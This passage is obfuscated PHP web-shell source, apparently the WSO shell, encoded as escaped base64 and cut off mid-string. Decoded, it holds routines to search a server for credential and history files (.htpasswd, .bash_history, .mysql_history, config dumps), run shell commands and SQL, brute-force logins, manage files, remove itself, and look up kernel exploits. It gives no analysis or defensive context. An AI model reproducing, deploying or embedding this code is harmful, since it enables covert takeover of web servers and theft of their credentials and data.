6ab25ma\127cqI\x47Zp\x62GVz\x49C\x49\147\120T4gI\x6dxvY\x32F0ZS\102jb2\x35maWci\x4cAoJCS\112sb2NhdGU\x67LmNvbm\x59gZml\x73ZXMiPT4ibG9\x6aYX\122lI\x43c\165Y\x329uZiciL\101oJ\103S\x4asb2\116hdGUgLnB3ZCBmaWx\x6c\x63\x79IgPT4g\x49\x6dxvY2F0ZSAnLnB3\x5aCc\x69LAoJ\x43SJsb\x32NhdGUgLnN\170bCBma\127\170l\x63yIgPT4gImxvY2\1060Z\x53\x41\x6eLnNxb\x43ciLAoJCSJ\x73\x622\x4ehd\107UgLmh0cGF\172c3\144kI\107ZpbG\x56zIi\x419\120iAi\142G9jYXRl\x49Ccu\141HR\167YXN\x7a\1442QnIiw\113C\x51\x6bibG9jYXRlIC5i\131XNoX2hpc3Rvcn\x6b\x67ZmlsZX\115iID0\053ICJs\x62\062Nh\144G\x55\x67J\1715iYXN\157X2hpc3Rvcnkn\111iw\x4b\x43\121kibG9jYXRlIC5teXNx\142F\071o\x61XN0\1423J5IGZpbGVz\x49iA9PiAibG9jYXRlICcubX\x6c\172\143\127x\x66aG\x6c\172dG9yeS\143iLA\157JCSJs\1422NhdGUg\114\155ZldGNobWFpbHJjI\107ZpbGVz\x49iA9P\x69Ai\x62G9jYX\x52\x6cICc\165\132mV\x30Y2htY\x57ls\x63mMn\111iwKCQk\151bG9\152YXRlIGJ\x68\x592t1\143\103BmaWxlcyIgPT\x34gImxvY\062F0ZSBiYWNrdXA\151LA\x6fJ\x43SJ\163\x622Nh\x64GUgZ\x48V\x74c\x43B\155aW\x78lc\x79IgPT4\x67I\155xvY2F0ZSBkdW1\167IiwKCQ\153\151bG\071j\131X\122\154I\110B\171aXYgZm\154sZXM\151ID0+ICJsb2N\x68d\107\x55\x67cHJpdi\111\x4bCSk7CgpmdW5jdGlv\142iB3c2\x39IZW\106kZXI\x6f\x4bSB7Cgl\160ZihlbX\102\060e\123gkX\x31\x42PU1\x52\x62J2NoYX\x4a\x7aZXQnXS\x6bpCgkJ\112F9QT1N\x55W\171djaG\x46yc2V0J10g\120SAkR0xP\121kF\115U1snZGV\155\x59XVsdF9ja\x47Fyc2V0\112107C\147lnbG\x39\x69\x59\x57wgJGNvbG9yOw\x6fJZWNo\x62yAiPG\1500b\127w+PG\x68lYWQ+PG1ldG\x45g\141HR0\x63\x431lcX\x56pdj0n\x5129u\x64GV\x75d\x431\125eX\102\154JyBjb2\x350\x5a\12750PSd0ZXh0L\062\150\060bWw7\111GN\x6fYX\112z\x5aXQ9I\151\101\x75ICRfUE9TV\x46sn\1312hhcnNld\103dd\111\1034gI\x69c+PHRpdG\x78lPiIgLiAkX1N\x46UlZ\x46UlsnSFR\x55UF9IT1NUJ10gLi\101i\x49C0\147\1261\x4ePICIg\x4c\151BXU09f\x56k\126SU0lP\x54iAuIjw\166dGl0bGU+Cj\x78zdHlsZT4KYm9\x6be\130\x74\x69YWNrZ3J\x76\144\1275kLW\x4evbG\071yOiM\x30N\x44\1217\x5929sb3\x49\066I2UxZ\x54FlMTt9CmJ\x76ZHksdGQs\x64Gh7I\107\132\166\142nQ6IDlwd\103\102\x4ddWNp\x5aGEsVm\126yZGFuY\x54ttYXJn\141W46M\x44t2Z\130J0\141WNh\142C1h\x62Glnbjp0b3\x417Y29sb\063\1116I\x32\125\x78Z\x54Fl\115\x54s\147fQp0YWJs\132S5\160\x62mZ\166eyB\x6a\x622xvcjojZmZ\155O\x32JhY2tncm9\x31bmQtY\0629s\x623\x49\x36I\172IyMjsgfQpzcGFuLGgxLG\x467IGNvb\1079yOiAkY29sb\063\111\x67IWl\164\143G9y\x64GFud\104s\x67\x66QpzcGFueyBmb\06250LX\144laW\144\x6fdDog\131m9sZGVyOyB9Cmgxey\x42ib3J\153Z\130ItbGVmdDo1cHggc29saWQgJ\x47Nvb\1079yO\063B\x68\132GRpbmc\066\x49D\x4aw\x65\103A1\143Hg\067Zm\071udDogMTRw\144CBWZXJkYW5hO2J\x68Y2tncm\x39\x31bmQtY29sb\x33I6IzIyMjt\x74Y\130JnaW46MHB4OyB\071C\x6d\x52pdi5j\142250ZW50eyBw\x59WRkaW5nOiA1\x63\110g\067bWFyZ2luLWxl\x5an\1216NXB4O2JhY2tncm91bmQ\x74\13129\163b3I\066\111zM\x7a\115z\x73gfQp\150ey\1020ZXh0LWR\x6cY2\x39yYX\122pb246b\x6d9uZTsgfQphOmhv\144mV\x79eyB0Z\130h0\x4cWRlY2\071\x79YXRpb\x3246dW5\153Z\130Js\x61W5lO\x79B\x39\x43i5\x74bDF7IG\112vcmR\154\143joxcHggc\0629s\x61WQgIzQ\x30NDtw\131W\122kaW5nO\x6aVweDttYXJ\156a\x574\x36MDtvdm\126y\132mxvdzogY\130\x560bzsgf\x51o\x75YmlnY\130JlYXs\147d\x32\154kdGg6MTAwJTtoZWl\156aHQ6MzAwcH\1477\x49H0K\141W5\167dXQsdG\x564\144GFyZWEsc\062VsZ\127\1160eyBtYXJnaW46MDtjb2xvcjojZ\155\132\155O2JhY\x32t\156cm91bmQtY2\x39s\1423I6IzU1\116\124t\151b3JkZXI6MX\x424IHNvbGlkIC\122jb2x\166cj\x73g\x5am9udDogOXB0IE1vbm9\172c\107\106j\132Sw\x6e\121291cmllci\102OZXcnOyB9C\155Zvcm17\111G\061hc\x6ddp\142jowcHg\x37I\x48\x30KI3Rv\x622x\172V\x47J\163ey\x420ZXh0LW\106saWdu\x4fmNlbnRlcjsgfQoudG\x39vbH\116JbnB7IHdp\132HR\x6fOiAz\115DBweC\x42\071Ci5tYW\x6cuI\x48Ro\1453R\154eHQtY\127xpZ2\0646\142\107V\x6ddDti\x59\127NrZ\063JvdW5kLWNvbG9yO\151M1ZTVl\116W\1257fQoub\127Fp\x62iB0cj\x70ob3Z\x6cc\156tiYWNr\1323J\166dW5kLW\x4evbG9yOiM1Z\x54VlNWV9Ci5sMXtiYWNrZ\x33Jvd\x57\x35\x6bLWN\x76bG\x39yOiM0\x4eDR9\x43i5sMnt\x69YWNrZ3JvdW5kLWN\x76bG9\171O\x69MzMzN\071Cn\102\x79Z\x58t\x6d\142250LWZhbWlse\124pD\1423Vya\127VyLE1vb\x6d9z\x63GFjZ\x54\1649Cj\x77vc3\1225bGU+CjxzY3JpcHQ+CiAgICB2YXIgY18g\x50SAnIi\x41u\111Gh0bW\x78zcGVjaWF\x73\x592hhcn\115oJEd\x4dT0JBTFNbJ2N\063ZC\144dK\x53AuICInO\x77ogI\x43A\x67\144\x6dF\x79\x49\107F\146ID0gJy\x49gL\x69BodG1sc3BlY2lhbGNoY\x58JzKEAkX1\102P\1251\x52bJ\062EnXSk\147Li\x49\156CiAg\111\103\x422YXI\x67Y2hhcnNldF\070gPSAn\x49\x69\101uIGh0b\x57xzcGV\x6aa\127Fs\x592h\150\143n\115oQCRfUE9TVFsnY2hhc\x6eNldCddKSAu\111ic7CiA\147ICB2YX\x49\147cD\x46fI\x440g\x4ay\x49g\x4ci\101\x6f\x4bHN0c\156Bvcy\x68AJF\x39QT1NUWy\144w\x4d\123dd\x4cCJcbiIp\111T\x309ZmFsc\062UpP\x79cn\117mh0b\x57xzcG\126j\141WFsY2hhcn\115oJF9QT1N\x55WydwMS\x64\x64\114EVOVF9R\x56U9URVMp\113SAuIic7CiAgIC\1022\131XI\147cD\112fID\x30gJ\171\x49\x67LiAoKHN0cn\x42vcy\150\101J\x46\x39QT1NUWyd\167\x4diddL\103Jcbi\111pI\x5409\132mF\x73\1432UpPyc\156O\x6dh0\142WxzcGV\152aW\106sY2hhc\156Mo\112F9\121\1241NUW\x79\x64wMidd\x4c\x45VO\126F9\122\126U9UR\x56MpKSAu\111ic7CiAgI\103B\062YXIgcDNfID\060gJyIgLiAoKHN0cnB\166cyhAJF9\121T1NU\x57y\x64wM\x79\144d\114CJcbi\x49pIT09\x5amF\x73c\062UpPycn\117\155\150\060b\127xzcGVja\127Fs\1312h\x68cn\115oJ\x469QT1\116UWy\144\x77M\x79ddLEVOVF9\x52VU\x39\125RVMpKSA\165Iic7CiAg\111C\x42\x32\x59XIgZCA9IGRvY3VtZW50OwoJ\x5anVuY3\122pb24gc2\1260KGEsYy\170\x77M\123xwMixw\x4d\171xja\x47F\x79c\062\x56\060KSB7CgkJaWYoYSE9b\156Vs\142ClkLm\061\155\x4cm\x45udmFs\x64WU9YTt\x6c\142HNlIGQubW\x59\x75\131S52YWx1\132T1hXzsKCQlpZih\152\x49T1udW\x78\163\x4b\127QubWYuYy5\x32YWx1ZT\061jO2Vsc2Ug\132\1035\x74Zi5jLnZhbHV\154PWN\146\117w\157\x4aC\x57lm\113H\101xIT\061udWxsKWQub\x57YucDEudmFs\144\x57\1259cDE7ZWxzZS\x42kLm\x31mLnAxLnZhbHVlP\130\x41xXzsKCQlpZihwMiE9bnV\163\x62ClkLm\x31mLnAyLnZhbH\126\154P\x58AyO\062Vs\1432UgZC5tZi5wMi\0652YWx1\132\124\x31wMl87\x43\147kJa\x57\131o\143D\x4dhP\x5751b\107\167pZC5tZi5wMy52YWx1ZT1wMztl\x62HNl\x49G\121u\142WYu\143DMudmFsd\x57U9cDN\146OwoJCWlmK\x47NoY\130JzZXQ\150P\x5751bGwpZC5tZi5jaG\x46yc2\1260L\x6e\132\150bH\x56l\x50WNoYXJzZXQ7ZW\x78zZS\x42\x6b\x4cm1mLmNo\x59X\x4az\132XQ\165dm\x46s\x64WU9Y2\150hc\156NldF\0707\x43gl9Cg\x6c\x6ddW\x35jdGlvbi\x42nKGEsYyxw\x4dSxwMix\167My\170jaGFyc\x32\x56\060KS\x427CgkJc2V0\x4b\x47EsY\171xwM\123xwMixw\x4dyxjaG\106yc2V0KTsKCQlkLm1\155\114nN\x31\131m1p\x64\x43\x67pO\167o\112fQoJZnVuY3Rpb\x324gYS\150hLGMscDE\x73cDIs\143DMsY\062hhcnNl\x64Ckgew\x6fJCXNldChhLG\x4d\163cDEscDIscDMsY\x32h\150cnNldCk7CgkJ\144mFyIHBhc\x6dFtc\171\x41\x39IC\144hamF4PXRydWUn\x4fwoJCW\x5avc\151hp\120TA7aTxkLm1mLmVsZW1\x6cbn\x52zLmxlbmd0aDtpKyspCgk\112CXBhcmFtc\x79A\x72\120SAn\x4aicr\132C5\164Z\1515lbGV\164ZW50c\061tpX\1235uYW1lKyc9J\x79tlbmNvZGVVU\153lDb21wb25lb\x6eQoZC5\x74Zi5lb\107\126\x74ZW50c1tp\130S52Y\x57x1ZSk7Cg\x6b\x4a\x633\111oJy\111gLi\x42hZGRzbG\x46zaGVzKCRfU0VSVk\126SW\x79\144SRVFVRVNUX1\x56\123S\123ddKSAuIi\x63sIHBhc\x6dFtcyk7Cgl\x39Cg\x6cm\x64W5\152dGl\x76b\151Bzcih1cmwsIHBhcmFtcykgewoJ\x43WlmICh\063aW5kb3\143uWE1MSHR\060cFJ\154\143XV\x6c\x633QpCgkJCXJl\143\123A9IG5l\x64yB\x59T\x55x\x49dHRw\x55m\x56\170d\x57Vzd\x43gpO\167oJCWVsc2\125\x67aWYgKHdpbmRv\x64y5BY3R\x70dm\x56YT\x32JqZWN0KQoJCQlyZXEgPS\102uZXcg\121W\x4e\x30a\130ZlWE9iamVjdCgnTWljcm9z\142\062Z0L\x6chNTE\150UVFAnKTs\113\x49CAgICAgIC\x42pZiA\x6fc\x6d\x56xK\x53B7C\151AgI\x43AgICAgICAgIHJlcS\065vbn\112lYWR5c3Rhd\107VjaG\106uZ2UgPSBwcm9jZX\x4ezUmVxQ2\150h\x62mdl\x4f\x77ogIC\x41gICAgICA\x67\111\103B\x79ZXEub3B\x6c\x62ignUE9TVCcsIHVybC\167gdHJ1ZSk7Ci\x41gICAg\x49\103AgICA\x67IH\x4alc\1235z\132XRSZXF1Z\130N0S\107V\x68ZGVyICg\x6eQ29u\x64\107Vu\x64C1U\x65XBl\112y\167\x67\1122F\167\143\107xpY2F\060aW9uL3gtd\x33\1443LWZvcm0tdXJs\132W5\x6ab\x32R\154ZCcpOwogICAgI\103Ag\x49CAgIC\x42y\132X\105\x75c2VuZChwYXJhbX\x4d\x70Owo\x67ICAg\x49CA\147IH0KC\x580KCWZ1bmN0aW9uIHB\x79b2Nlc3NSZX\106DaGFu\1322UoKSB7\103\147kJaWY\x6f\111Chy\x5aXEucmVhZHlT\x64GF0ZSA9P\x53\101\060K\x53ApCg\153J\103W\x6cmKHJl\x63S5z\144G\106\060dX\115g\x50T0g\x4dj\101\x77KSB\067CgkJCQl2YX\x49\x67cmVnID0gbm\1263IFJlZ0V4c\x43hcIi\150cXFxcZCspKFt\143XFxcU1xc\x58FxzXSop\x58CIsICd\164Jyk\x37CgkJ\103Q\154\x32YXIg\x59XJyPXJlZy5\154eGV\152KHJlc\x535yZXNwb2\065zZVRleHQpOwo\x4aC\x51kJZ\130Zhb\103hhc\x6eJbMl0uc\x33\126\151c3RyKDAs\111GF\x79cl\163xXSkpOwoJCQ\1549IGVsc2UgY\x57xlc\156\x51oJ1Jlc\x58Vlc3Q\147ZXJyb\x33\111\150Jyk7C\147l9Cjwvc\062\116ya\130B0P\147o8aGVh\132D48Ym9keT48Z\107l\062IHN\060eW\x78l\120Sd\x77b3N\160dGlvbjphYnNvb\x48V0ZT\x743aWR\x30aDo\170MD\101\154\x4f2JhY2t\x6ecm91\142mQt\x5929sb3I6Iz\121\x30\116\x44t0\x623A\x36MDtsZWZ\060Oj\1017J\1724KPG\132vcm0gbWV0aG\x39kP\x58Bvc3Qg\x62mFtZT\061tZiB\x7adHl\x73ZT0nZGlzcGx\150eTpub25lOyc+\103jxpbnB1dCB0e\x58Bl\x50WhpZGRlbi\102uYW1\x6cPW\x45+CjxpbnB\061d\103B0e\x58Bl\120\x57hpZGR\154biB\x75YW1lPWM+CjxpbnB1d\x43\x420eXBlP\127hp\132GR\x6c\142iBuYW\x31lPXA\x78Pgo8aW5\x77\144XQgdHlwZT1oaWRkZW\064\147\x62\155FtZT1\x77M\1524KPGlucH\1260\111\x48R5\143G\x559aGlkZGVuIG\065hb\x57U9c\x44M+Cjxp\142nB1d\x43B0eXB\154\120Wh\160ZG\x52l\x62iBuYW1lPW\116oYX\112zZXQ+CjwvZm9ybT4\x69O\x77oJJGZyZWVTc\107FjZSA9IEBkaXNrZnJ\x6cZXNw\x59W\x4elKCRHTE9\x43QU\x78TWyd\x6a\x642\x51nXSk7Cgkk\144G90\x59Wx\124\143GFj\132SA9IEBk\x61XNr\x583\122v\x64GFsX3NwYWNlKCRHTE9C\x51U\x78\124W\x79djd2QnXS\x6b7CgkkdG90YWxTcGFjZSA9ICR0b\063Rh\x62F\116wYWNlPyR0b3Rh\x62\x46\116wYWNlOjE7Cgkk\x63mVs\x5aWFz\132\x53A9I\x45B\x77aH\102fdW5hbWUoJ3InK\124sKCS\x52r\132XJuZ\x57\x77\x67PSBAcGh\x77X3VuYW1lKCdzJ\171\x6b7\x43\147k\153Z\130\150w\x62G\154uayA9ICdodHR\x77Oi8\166Z\130hwbG9pdC1kYi5jb20vc2Vhc\x6dNoLz9h\1313Rp\x622\0649c\062\x56hcmNoJ\x6d\x5apb\x48Rlcl9kZ\130\116jcmlwdG\x6c\166bj\x30\x6eOwoJaWYoc3RycG9z\x4bCd\x4da\x5751eC\143s\x49\x43RrZ\130JuZWwpICE9PSBmYWxzZS\x6bKC\x51\153\x6bZXh\167b\107\x6c\165ayAuPS\102\x31c\155xl\142m\116v\x5a\107\x55oJ0\170\x70b\x6e\x564IE\x74l\143m5\154bC\101nIC4gc3Vi\x633RyKCR\x79ZWxlYXN\154LD\x41sNik\x70O\x77oJZW\170\x7aZ\x51oJC\x53Rl\145\x48BsaW5r\111\10349IHVybGVuY29k\x5aSg\153a\x32VybmVs\x49C4g\x4ay\x41n\x49C4\147c3Vic\x33\x52yKCR\171ZW\x78lYX\116lLDAsMyk\160OwoJaW\x59\x6fIWZ\061bmN0aW9\x75\x58\062V4aX\1160cygnc\1079za\x58hf\x5a2V0\132WdpZC\143pKSB7\x43g\153JJHVzZXIgPSBAZ2V0X2N\061\143nJlbnR\146dXN\154c\x69gp\x4fwoJC\x53R1aWQgPS\x42AZ2V0bX\1541a\127QoKTsKCQkk\1322l\153\111D\x30\147QGdldG15\x5a2l\153K\x43k\x37Cgk\112JGdyb3\x56wID0\x67Ij8\151OwoJ\x66SBl\142HNl\111HsKCQkkdW\154kID0g\x51\110Bvc2l4X2d\154dHB3\x64WlkKH\x42\166\x63\x32l4X2d\154d\107V1aWQ\x6fKS\1537C\x67kJ\x4aGdpZCA9IEBwb\063NpeF\071nZXRn\x63mdp\x5aChwb\063Np\145\x469nZXR\154Z2lkKCkpOwoJ\103SR1c2\126yID0\x67JHV\160ZFsnbm\x46t\x5aSd\144OwoJ\x43\x53R1aWQgPS\x41kdWlk\127yd1aWQn\130T\x73\113CQkkZ3\112vdXAgPSAkZ\x32l\153Wy\x64uYW1lJ107\103gkJ\x4aGd\x70\x5a\x43A9I\103RnaWR\x62J2d\x70ZC\144dO\x77oJfQoKCSR\152d2RfbGlua3\x4dg\x50SAnJz\163KC\123\122wYXR\x6fID0\147ZXhwb\x479kZSg\151\x4cyI\x73ICR\110\x54E9\103Q\x55xTWyd\x6ad2\x51n\130Sk7C\x67kkbj\x31j\x623VudCgkcGF0a\103k7Cgl\155b3IoJG\1539M\104sgJGk8JG4tMTsgJGk\162KykgewoJCSR\x6ad\062Rf\x62Gl\165a3MgLj0gIj\170hIGhy\132WY9JyM\x6eI\x479\165Y2xpY2s\071J2c\x6fX\x43JGaW\x78lc01\x68\x62lwiLF\x77iIjs\x4bC\x51\154mb\x33IoJG\x6f9MDs\147JGo8PS\122pOy\x41\x6baisrKQoJCQk\x6bY\063\144kX2xp\142\155tzIC49ICRwYXR\157WyRqXS4nLyc\067CgkJJGN\x33\x5a\1069saW\065r\143yAuPSAiXCIpJ\x7a4i\x4c\x69Rw\x59\x58RoW\x79RpXS4iL\x7a\167vYT4iOwoJfQoK\x43SRjaGFyc2V0c\x79A9IGFycmF5KC\x64VVEY\164OCcs\x49Cd\x58aW\065kb\x33dzL\x54EyN\124\105nLCAnS\x309\x4a\x4f\x431SJyw\147J0t\x50\123TgtVScs\111C\144\x6acDg2N\x69\x63pO\x77o\112\112\1079\167dF9jaGFyc2V0cy\x419ICc\156Ow\157JZm\071yZWFjaCgkY\062hhcnNl\144HMgYXMgJ\x47l0ZW0\160C\147kJJG9wd\1069jaGFy\1432V0cyAuPSAn\120G\071wdGlv\142iB2\131W\x781\132T0iJ\1714\x6ba\x58RlbS4nIiAnLig\x6bX1BPU1\122bJ2NoY\x58J\172ZXQnXT\060\071\x4aGl0ZW\060/J3NlbGVjd\107VkJ\172onJykuJz4nLiRpdGVtLic8L\0629wdG\x6cvbj4nOwoKC\x53\122t\111\1040gYX\x4a\171YXkoJ1NlYy4gSW5mbyc\071P\x69dTZWNJbmZvJy\x77n\122ml\163Z\x58MnPT4nRmlsZ\x58\x4eNYW4n\114CdDb25z\1422\x78lJz0+J0Nvbn\116vbG\x55\x6eLCd\124cWw\156PT4n\1253\x46sJy\167nUG\150wJz0+J1B\x6fcC\143sJ\061N0cmluZyB0b29\163cy\x639Pi\144TdHJp\142\155dU\x6229sc\x79csJ0JydXRlZm9yY2UnPT4\x6e\121n\112\x31\144GVmb3\x4aj\132ScsJ\x305ldHd\x76cm\163\156\120T\064n\124mV\x30d\062\071y\141ycpO\167o\x4aaWYoIWVtcHR5KC\122HT\1059CQ\x55\x78\124\x57\x79dh\144\x58Ro\1303Bhc3MnX\123k\160\x43g\153JJG1bJ0xv\x5a2\x39\061d\103ddID0g\x4a0xvZ291dCc7CgkkbVs\x6eU2Vs\132\x69ByZW1vdmUnX\123\1019ICd\x54ZWxmUmVtb3Z\x6c\112zsKCS\122\x74ZW5\x31\111D0gJyc7Cglmb3JlYWNoKCRtIGFzICRrID\060\053IC\1222KQ\157JCSRtZW51IC4\x39ICc8d\107ggd2lkdGg9I\151cuK\107lu\x64Ck\x6fM\x54AwL2NvdW50KCRtKSkuJy\x55iPlsgPGEgaHJlZj0iIy\111\x67b25j\142Glj\141z0iZyhcJy\x63uJHY\165J\061\167nLG51bG\167sXCdc\x4ayxc\x4a1wnL\106wnXCcp\111j4nLiR\162\x4ci\1438L2E+I\10608L3RoPi\x637\x43go\x4aJGRyaX\132lcyA9ICIiOwoJaW\131oJEdMT0JBT\x46\x4ebJ29zJ10gP\124\x30g\1123dpbic\x70IHsKC\121lmb\x33Jl\131WNoKH\x4a\150bmdl\x4bCdj\x4ay\x77neicpIGFzICR\153cml2ZS\153KCQlpZihpc19kaXIoJG\122\x79aXZlL\x69\1436\x58FwnKS\x6b\x4bC\x51\153JJ\107\122y\141XZlcyA\x75PSAnPGE\x67a\110J\154\132j0iIyIgb25jbGljaz0i\x5a\171hcJ0Zp\x62\x47VzTW\106uX\103csX\103cnLiRkcm\x6c2Z\123\064nOi9c\x4aykiPl\163\x67Jy\x34\x6bZH\x4apdmUuJ\171BdPC9hPiAnOwo\x4af\121oJZW\116ob\171AnPHRhY\x6dxlIGNsYXNzPWlu\132m8gY2VsbHBhZGRpbmc\071MyBj\x5aW\x78sc3\x42hY2l\165\x5az0wIHdpZ\x48RoPT\x45wMC\125+P\110RyPjx\x30ZCB3a\127R0aD0\170P\x6axzcGFu\120l\x56uYW1lOjxi\x63j5Vc2V\x79\x4fj\170\151c\x6a5QaHA6PGJyP\x6bhkZDo8YnI\053Q3\x64kOicgLiAoJE\x64MT0\112\102T\x46N\142J29zJ\0610gPT0gJ3dp\x62\151c\x2fJzxicj\x35Ecml2ZX\1156JzonJykgL\151AnP\x43\071z\x63GF\165Pj\x77vd\x47Q+JwogIC\x41\147I\103AgLiA\156PHRkP\152\x78\x75b\x32J\171PicgL\x69\x42zdWJzdHIo\x51HBo\143F\0711\142mFt\132\x53gpLCA\167\114CAxMjApIC4\147JyA8\x59SB\x6fcm\126m\120SInIC4g\112G\126\x34\143Gxpb\155sgL\151A\156\x49iB0YXJnZXQ\071\x582J\x73YW5\162Pl\164leHBsb2l0LWR\x69LmNvbV0\x38L\062E+PC9u\142\062J\x79Pjxicj4n\111C4gJH\126pZCAu\111CcgKCAnIC4gJ\110VzZXI\x67LiAnICkgPH\x4ewY\1274\x2bR3J\166dXA6P\103\071\172\143GFuP\151AnIC4g\112GdpZCAu\x49CcgKCAnI\1034gJGd\171\x623V\167IC4gJ\171ApPGJy\120i\x63gLiBAcGhwdmVyc2lvbigpIC4gJ\171\101\x38c\x33B\150bj5TYWZl\111G1vZGU\x36\120C9zc\x47F\165\x50iAn\111C\x34g\113C\x52HT\x459CQ\125xTWydzYW\x5alX2\x31vZGU\x6eXT8nPG\x5avbnQgY29\163b3\1119cmVkPk9OPC\x39\155b250Pic6Jz\x78\155\142250IGNvbG9\171\x50WdyZ\127V\x75PjxiP\153\071GRj\x77vY\x6a4\070L2Zvb\x6eQ+Jy\153KI\x43AgICAgIC4gJ\x79\1018Y\x53B\157c\155\x56mPSMgb25jbG\x6c\152\141z0iZy\x68cJ1BocFwnLG51\142GwsXCdcJyxcJ2lu\x5a\x6d9c\112ykiPl\163\147cGhwa\x575mbyBdPC9\x68PiA8c3Bhbj5\x45YXRldGl\164ZTo8L3Nw\131W4+I\103\x63\x67Li\102kYXRlKCd\132LW0tZ\103BI\x4f\x6dk6cycpIC4\x67J\172xicj\064\x6eI\1034gd3NvVmll\1441NpemUo\112HRvdG\x46\x73U3BhY2Up\111C4g\x4ayA8\x633\102hbj5G\x63mVlOj\167vc3Bhbj\064g\x4ayAu\x49Hdz\x621ZpZ\130dTaXplKC\x52\155c\x6d\126\154\x553BhY2\x55pIC4\147Jy\101oJ\1714\147KGlu\x64Ck\147KCR\x6dcmVl\x553B\x68Y\x32UvJHRv\x64\x47FsU3BhY2UqMTAwKSAu\x49Ccl\x4bTx\151cj4\x6eIC4gJGN3ZF9saW5rcyAuICcgJy4gd3Nv\125\x47Vyb\130\116Db2xvci\147kR0xPQk\106\x4dU1snY3dkJ10pIC4gJyA\070YSBocmVmP\123\115gb25j\142\x47ljaz0iZy\150cJ0ZpbGVz\x54WFu\x58CcsXCc\x6eIC4gJE\144\x4dT0\x4aBTFNbJ2h\x76bWVfY3\144kJ10\147\x4ci\x41nXCcsX\103d\143J\171\170cJ1wnL\106w\x6eXCcpIj5\142IGhvbWU\147\130Tw\x76YT48YnI+\112y\101uICRkcml2ZXM\147LiAnPC9\060ZD4nCiAgIC\101gICAuIC\x638dGQgd2\154k\144Gg\x39MSBhbGln\x62j1\171\141WdodD\x348\x62\1559icj48c2VsZW\116\x30\x49G9uY2hhb\x6ddlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsb\156Vs\142\x43\1700\141Glz\x4cnZhbHV\154KSI+P\x479wdG\144yb3VwIGxhYmVsPSJQY\x57d\154IGN\x6fY\130Jz\x5a\130QiPicgL\x69Akb3B0X2N\x6fYXJzZX\x52\172IC4\147Jz\167vb3B0Z3J\x76\144X\x41+P\1039zZWxl\x593Q\053PGJ\x79P\152x\172\x63G\106u\120\154\116lcnZlciBJUD\1578L3Nw\131\x57\064+\120GJ\171PicgL\151\x42AJF\071TRVJ\x57RV\112bIlNF\125lZFUl9B\x52ER\x53\111l\x30\147Li\101n\x50G\112yPjxzcGFu\x50\153N\x73aW\x56\x75dCBJUDo8L3NwYW4\053\x50G\x4a\171PicgL\151A\153X\061NFU\154ZFUl\163nUkVNT\x31RFX0\x46ERF\111nXS\101uICc\070\11425vYnI+PC9\060ZD48L\x33RyPjwvdGF\x69\x62\107U+\x4a\x77ogI\x43\101gICAgLiAn\x50HRhY\x6dxlI\x48N0eWxlPS\x4aib3\x4akZ\x58I\x74\144\x479wOjJwe\x43B\x7a\142\062xpZC\101jMzMzOyIgY\x32VsbH\x42h\x5aGR\160\x62m\143\071MyBjZWx\163c3B\150Y\x32luZz\x30wIHdpZHRoPTEwMCU+\x50HRyP\x69c\147LiAkb\x57V\x75dSAu\x49Cc8L3R\x79PjwvdGF\151bGU+P\107RpdiBzdHlsZT0i\x62WF\171Z2luOjUiPi\x63\x37Cn0K\103mZ1bmN0a\1279\165I\110dzb0Zvb3Rlci\x67\x70IH\163\x4bCSR\x70\1431\x39\063\x63ml0YWJsZ\123A\071I\107\x6czX\x33dyaXRhYmxl\113\x43RHTE9CQUx\x54\x57ydjd2QnXSk/IiA8Z\x6d9udCBjb2xvcj0nZ\063JlZW4nPihX\143\x6dl0ZWFi\x62G\x55\x70\x50C9\155b250Pi\x49\066I\151A\070\x5am9\165dCBjb\x32xv\143j1yZWQ+KE\065vdCB3cml0YWJs\132Sk\x38L2Z\166bnQ+I\x6asKIC\x41g\111GVjaG8gIgo\x38L2Rpdj4KPHRh\131mxl\111GNsYXN\172PWluZm8ga\x57Q\071dG9vbHNUY\x6dwgY2VsbHBh\132\107Rp\142m\1439MyBjZWxsc3BhY\x32luZz\060\167IHd\x70Z\110R\x6fPTEwMC\x55gIHN\x30\145\x57\x78lPSdib3JkZXItd\1079wOjJwe\x43Bzb2\170\160Z\x43A\152MzMzO\x32JvcmRlci1ib3R0\142\x3206\x4dn\x424I\x48NvbGlkIC\x4dzMzM7\x4az4K\x43Tx0cj4KCQ\x6b8dGQ+\120GZv\143m0\x67\x62\x325\x7ad\127JtaXQ9J2cobnVsbC\x780aGlz\114mMudmFsdWU\163\130CJ\143Ii\1537c\155V0dXJuIG\x5ahbHNl\x4f\171c+PHNwY\x574+Q2hhbmdl\x49G\122pc\x6ao8L3NwYW\x34+\x50GJy\120\x6a\x78pb\x6e\1021dCB\152bGFzcz0\156dG9vbHN\112bnAnIHR\x35cGU\071\144\107\x564dC\102uYW1\x6cP\x57MgdmFsdWU9J\171IgLiBo\x64G\061sc\x33BlY2lhbGNoYXJ\x7aKCRHTE9CQU\x78TW\171djd2Q\x6eXSkgLiIn\120\x6axpb\x6eB1dCB0e\x58BlP\130N1Ym1pdCB2YW\x781ZT0n\x50j4nPjwvZm9ybT48L3RkPg\x6fJCTx0ZD48Zm9ybSB\166bnN1Ym\061pdD1cImcoJ0Z\160\x62GV\x7a\126G9v\x62HM\156L\10751bGwsd\107hpcy\065mL\156\x5a\x68bHVlK\x54tyZX\1221\143m4\x67Z\155Fsc\x32U\x37XCI+PHNwYW\064+UmV\150Z\x43Bm\x61Wxl\117jwv\1433\x42hbj4\x38YnI+PGl\x75cHV0\111\x47\116sY\130Nz\120S\x640b29sc0luc\x43cg\144H\154wZT1\060\x5aXh\x30\111G5hbWU\071Zj48a\127\065wd\130Qgd\x48lwZT\x31zdW\112taXQgdmFsdWU\071Jz4+Jz4\070L2Zvcm0+PC9\060ZD4\x4bC\124wvdHI+PHRyPgoJCTx0\x5aD48Zm9ybS\102vb\156N1Ym\061pd\x44\061cImcoJ\060Zpb\x47V\172TW\106\165Jy\x78udWx\x73\114\x43dta2R\x70cic\163dG\x68pcy5\153\114nZhbHVlKT\x74yZXR1c\1554gZmF\x73c2U\067\x58CI+\120HNwYW4+TWFrZSB\x6baX\x496P\1039zcGFuPiRp\x6319\x33c\155l0YW\112s\x5aT\170icj48aW5\167dXQgY\062x\x68c\063M9J3Rvb2x\x7aSW5wJy\1020eXBlPXRleHQ\x67bmF\x74ZT\061kP\152\170pbnB1dCB0eX\x42lPXN\061Ym1p\x64CB2YWx1ZT0\x6ePj4nP\x6awvZm\071yb\x5448L3\x52\x6bPg\157JC\124\x780ZD4\x38Z\1559ybSBvbnN1Ym1p\x64D\x31cImcoJ0Z\x70bGVzVG9vbHM\156LG51b\107w\163d\107hpcy5mLn\132hbHVlLC\144\x74a2Z\160\x62\107Un\x4bTtyZXR1cm4gZmFsc2\1257XCI+PH\x4ewYW4+\124WFrZSBma